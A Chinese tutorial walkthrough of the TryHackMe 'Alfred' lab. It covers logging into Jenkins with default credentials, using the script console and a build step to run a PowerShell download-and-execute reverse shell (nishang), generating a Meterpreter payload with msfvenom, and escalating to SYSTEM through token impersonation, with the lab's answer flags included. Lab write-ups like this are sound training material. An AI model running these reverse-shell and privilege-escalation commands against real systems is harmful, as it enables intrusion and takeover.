TRY HACK ME |Alfred「利用Jenkins配置错误提权」
TRY HACK ME 渗透测试靶场,以基础为主层层深入,知识点讲解详细,对于想实现从零到一飞跃的白客,TRY HACK ME无非是最好的选择。而网络上资源良莠不齐,好的资源难找的一逼。因此,今天起我将与大家一起详细学习THM重要的ROOM里的内容,力求让每个人都能理解、掌握其中的内容,让我们一起学习、一起进步、一起GET THE FLAG!
THM靶场:Alfred
在这个房间里,我们将学习如何利用广泛使用的自动化服务器上的常见错误配置(Jenkins - 此工具用于创建持续集成/持续开发管道,允许开发人员在对其进行更改后自动部署他们的代码)。之后,我们将使用一种有趣的提权方法来获得完整的系统访问权限。直接开淦!!!
TASK1 初始访问
启动机器,连接openvpn,点击“Start Machine”获取目标IP,本次测试使用KAIL作为攻击机,连接成功后显示如下:常规套路,先使用nmap扫描,然后cat获取扫描果:
export IP=10.10.233.23 //设置靶机IP
nmap -sC -sV -oN namp/initial $IP //扫描开始,将结果保存在nmap/initial中
分析扫描结果,不难发现,靶机上一共开启了三个端口,分别是:80、389、8080
Q1:How many ports are open? (TCP only)(开放了多少端口?(仅限TCP)) A1:3
下意识进入8080,发现Jenkins的登陆页面,试试默认弱口令:admin/admin,直接进入!(弱口令YYDS)
Q2:What is the username and password for the log in panel(in the format username:password)(登录面板的用户名和密码是什么(格式为用户名:密码)) A2:admin:admin
进入后台后,我们的往往可以有如下操作:一是找一些上传点、注入点或者是后台CMS固有的一些漏洞,让我们能够直接通过漏洞getshell,但是这个靶场环境中的Jenkins有一些配置的错误,即我们可以直接在后台执行代码。进入Manage Jenkins(管理 Jenkins)—Script Console(脚本控制台)页面,可以看到,我们也许得到了一个可以执行命令的页面?
可以看到这是一个Groovy 脚本控制台,那么想要进一步获取shell,我们GOOGLE一下发现,只要把命令:
println "ls".execute().text
中的ls,换成我们想要的命令,应该就可以执行,首先尝试whoami:结果显示“Alfred\bruce”,证明该处的确可以执行命令,我们可以安装Empire然后通过这个命令执行面板反弹shell获取root权限,但是由于Empire涉及安装和一些新的操作命令,对于新手并不友好,我们还是采用官方推荐的解法。如果对于上面所说的内容有不明白的地方也并不要紧,跟着我继续做就成了,首先修改所给命令:
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/ Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port //修改其中的IP和端口号为你自己的攻击机
把修改完成的文件放入我们之前创建的文件夹目录中,该命令需要配合nishang,该存储库包含一组有用的脚本,(如果之前没有使用过,可以直接点击从GITHUB上下载或者KALI玩家直接sudo apt install nishang)。nishang对于渗透测试中红队的初始访问、枚举和权限提升都有很大的作用。根据提示我们可以在Jenkins后台中找到一个功能让我们可以运行我们修改过的命令以使我们获取反向shell,再通过PYTHON创建便携的HTTP服务使其可被靶机访问并下载执行,先进入Jenkins后台,然后分别进入project(页面中间)configure(左侧页面),下拉有一个Build页面可以执行我们的命令准备就绪,我们进入nishang/shell页面(/usr/share/nishang/Shells),启动python创建HTTP服务
最后重新打开终端设置监听接收反向shell,再在Jenkins后台窗口粘贴我们前面修改好的命令,点击Apply应用项目,再返回Build页面点击Build now运行项目
nc -lvnp 9001 //设置监听接收shell
可以看到,我们成功获取到了反向shell,即获取到了一个初始的user权限!!!(中间命令修改的时候中间多打了一个空格,导致文件一直下载不下来,卡了半天淦)熟练进入桌面,获取user flag成功!
Q3:What is the user.txt flag? A3:79007a09481963edf2e1321abd9ae2a0
TASK2 使用MSF切换shell
前面的办法的确可行,但是相当繁琐,那怎样能够减少我们的工作量呢?MSF在这个时候就起到了重要的作用,接下来我们可以尝试使用MSF来获取shell。第一步使用 msfvenom 创建 Windows Meterpreter 反向 shell:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe //修改端口、IP和shell名称
执行命令,成功获取shell第二步,把生成的exe文件转移到nishang/shell目录下,方便我们创建服务(直接在原目录创建也可),然后修改第二条命令:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.2.118.230:80/
hackerhangzai.exe','hackerhangzai.exe')" //同上,修改IP和端口
进入之前获取的shell,运行命令(也可以与上个任务相同的方式下载到靶机上,这里演示直接在之前获取的shell上运行了),如图所示,下载成功
Q4:What is the final size of the exe payload that you generated?(您生成的 exe 有效负载的最终大小是多少?) A4:73802
第三步,设置MSF的监听,命令:
msfconsole //进入MSF
use exploit/multi/handler //进入监听模块
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.2.118.230 //攻击机IP
set LPORT 9002 //前面命令的监听端口
run //执行命令
最后一步,我们进入之前的shell,Start-Process hackerhangzai.exe 执行exe文件,成功获取shell
TASK3 权限提升
现在我们有了初始访问权限,让我们使用令牌模拟来获得系统访问权限。Windows 使用令牌来确保账户具有执行特定操作的正确权限。当用户登录或通过身份验证时,账户令牌会分配给账户。这通常由 LSASS.exe 完成(将其视为身份验证过程)。此访问令牌包括:user SIDs(security identifier)、group SIDs、privileges。
首先,使用whoami /priv查看我们的全部权限:
可以看到靶机启用了两个权限(SeDebugPrivilege、SeImpersonatePrivilege),我们退出shell,在meterpreter页面加载 incognito模块(即加载中的 incognito 模块),如果命令不起作用,可以更新下MSF试试
输入list_tokens -g命令要检查哪些令牌可用。我们可以看到BUILTIN\Administrators令牌可用。使用命令
impersonate_token "BUILTIN\Administrators"
命令模拟管理员令牌。
我们可以看到BUILTIN\Administrators令牌可用,使用
impersonate_token "BUILTIN\Administrators"
命令模拟管理员令牌。运行getuid命令,可以看到此时我们的权限已经升为SYSTEM权限!!!
Q5:What is the output when you run the getuid command?(运行getuid命令时的输出是什么?) A5:NT AUTHORITY\SYSTEM
即使我们现在拥有更高特权的令牌,您实际上也可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不行)。确保迁移到具有正确权限的进程,选择最安全的进程是 services.exe 进程。首先使用ps命令查看进程,找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS迁移到这个进程,命令:
ps //查看所有的进程
migrate 580 //迁移进程到services.exe进程
最后,熟练地进入目录,GET ROOT SHELL!!
Q6:read the root.txt file at C:\Windows\System32\config(读取 C:\Windows\System32\config 中的 root.txt 文件) A7:dff0f748678f280250f25a45b8046b4a